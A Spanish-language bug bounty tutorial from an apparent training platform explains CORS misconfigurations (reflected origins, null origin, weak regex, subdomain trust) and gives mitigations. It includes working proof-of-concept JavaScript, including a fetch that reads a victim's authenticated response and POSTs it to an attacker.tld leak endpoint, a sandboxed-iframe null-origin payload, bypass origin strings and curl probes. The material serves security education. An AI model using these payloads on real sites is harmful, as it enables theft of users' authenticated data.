Nivel IntermedioGratis

CORS misconfigurations — null origin, wildcard credentials y subdomain trust

Cuando ACAO refleja cualquier Origin con ACAC=true, cuando null se acepta, cuando subdominios son wildcardeados — leak de datos autenticados cross-site.

Gorka El Bochi9 de mayo de 202611 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

CORS misconfig vulnerable cuando el servidor responde con Access-Control-Allow-Origin reflejando un origin arbitrario y al mismo tiempo Access-Control-Allow-Credentials: true. Permite a una página atacante leer responses autenticados de la víctima. Patrones explotables: reflejo dinámico, null aceptado, regex débil que matches subdominios atacante, trust en subdominios takeable.


Cómo funciona CORS (refresher)

CORS controla qué origins pueden leer responses cross-site. Para un request con cookies:

  1. El browser envía Origin del atacante.
  2. El servidor responde con Access-Control-Allow-Origin (ACAO) y Access-Control-Allow-Credentials (ACAC).
  3. Si ACAO == origin del atacante AND ACAC == true → el JS atacante puede leer la response.

Regla: ACAO: * y ACAC: true no son compatibles (browser ignora). El atacante necesita que el server eche el origin específico + ACAC true.


Misconfigs explotables

1. Reflejo de cualquier Origin

http
Request:
GET /api/me HTTP/1.1
Origin: https://attacker.tld

Response:
Access-Control-Allow-Origin: https://attacker.tld
Access-Control-Allow-Credentials: true

Vector más común. El backend hace echo del header Origin sin validación. Cualquier página atacante con la víctima logueada lee /api/me con sus cookies.

PoC:

javascript
fetch("https://target.tld/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(data => fetch("https://attacker.tld/leak", { method: "POST", body: data }));

2. Regex débil

Backend valida con regex que matches subdomains atacante:

python
if re.match(r"^https?://.*target\.tld$", origin):  # ⚠️ falla
    return origin

https://attacker.target.tld (subdomain takeover) o https://target.tld.attacker.tld matchean dependiendo del regex. Probar:

perl
https://eviltarget.tld
https://target.tld.evil.tld
https://attacker.com/target.tld
https://target.tld%60.attacker.tld
https://target.tld.attacker.tld

3. null origin aceptado

http
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Browsers envían Origin: null cuando:

  • Sandbox iframes sin allow-same-origin.
  • File:// URIs.
  • Documents from data: URIs.

Atacante:

html
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://target.tld/api/me', {credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>"></iframe>

El iframe sandboxed envía Origin: null → server responde con ACAO=null + ACAC=true → leak.

4. Trust en subdominio takeable

python
allowed = ["*.target.tld"]  # acepta cualquier subdominio

Si cualquier subdominio (legacy.target.tld, static.target.tld, internal.target.tld) tiene subdomain takeover (DNS apunta a S3/Heroku/Github Pages que ya no existe), el atacante registra ese servicio y monta página en el subdominio.

Desde ese subdominio, fetch a target.tld/api/* con credentials → respuesta + ACAO match + ACAC true → ATO de cualquier user logueado.

5. Pre-flight bypass

Si el endpoint no requiere preflight (request "simple": GET/POST sin headers custom + ACAO matching), el browser ni siquiera consulta antes. Apps con endpoints sensibles vía POST simple son explotables sin que la víctima vea ni un OPTIONS.

6. Wildcard amplia

http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browser ignora ACAC cuando ACAO=* (no se envían cookies). Pero a veces el endpoint sirve datos sensibles sin necesitar credentials (ej., si auth via API key en query string, o si endpoint internal). En ese caso ACAO: * solo basta para leak.


Cómo demostrar PoC

PoC mínima para reporte

HTML que sirves desde attacker.tld:

html
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC</h1>
<div id="r">Loading...</div>
<script>
fetch("https://target.tld/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(d => {
    document.getElementById("r").textContent = d;
  });
</script>
</body>
</html>

Pasos del reporter:

  1. Loguearse en target.tld (cuenta de prueba).
  2. Visitar https://attacker.tld/cors-poc.html.
  3. Screenshot del response autenticado mostrando email, ID, etc.

Hunting checklist

bash
# Cambiar Origin y observar ACAO + ACAC
curl -H "Origin: https://evil.tld" -I https://target.tld/api/me
curl -H "Origin: null" -I https://target.tld/api/me
curl -H "Origin: https://target.tld.evil.tld" -I https://target.tld/api/me
curl -H "Origin: https://eviltarget.tld" -I https://target.tld/api/me
curl -H "Origin: https://target.tld%60.evil.tld" -I https://target.tld/api/me

Si ACAO refleja el Origin enviado AND ACAC=true → reportable. Confirmar con PoC funcional.


Patrones comunes en bug bounty

Apps con apis "internas" y "públicas"

  • api.target.tld (público, ACAO restrictivo).
  • internal.target.tld (interno, sin CORS porque "no está enlazado").

Si internal.target.tld está en scope y responde con CORS abierto a propios subdominios, vector via subdomain takeover sigue.

CORS + Vary header

Si Vary: Origin no está, las CDN cachean responses con Origin específico → un user con Origin: target.tld recibe response cacheado para Origin: attacker.tld. Cache poisoning vector.

Credentials via Authorization header

Apps que mandan tokens con Authorization: Bearer ... (no cookies). El browser solo envía Authorization automáticamente si está en el header del fetch. Si la app guarda el token en localStorage y lo añade manualmente, una página atacante NO puede leerlo a menos que combine con XSS.

Pero si el fetch del frontend manda cookies (sesion) además del Authorization, el flujo cookies + CORS + ACAC se aplica igual.


Mitigación correcta

  1. Whitelist explícita (no regex):
python
allowed_origins = {"https://app.target.tld", "https://admin.target.tld"}
if origin in allowed_origins:
    response.headers["Access-Control-Allow-Origin"] = origin
    response.headers["Access-Control-Allow-Credentials"] = "true"
  1. Vary: Origin siempre que el response cambie según Origin.
  2. Nunca ACAO=null.
  3. Nunca ACAO=* con ACAC=true.
  4. No confiar en subdominios salvo que tengas control DNS estricto.

Hunting checklist (rápido)

  • ¿curl -H "Origin: https://evil.tld" -I refleja en ACAO?
  • ¿ACAC=true al mismo tiempo?
  • ¿Origin: null aceptado?
  • ¿Hay endpoints sensibles sin preflight (GET/POST simple)?
  • ¿Subdominios con CNAMEs olvidados (subdomain takeover)?
  • ¿Vary: Origin presente para evitar cache poisoning?

Labs relacionados

Practica CORS reflejado, null origin, regex bypass y subdomain trust: labs de CORS.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Cors

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.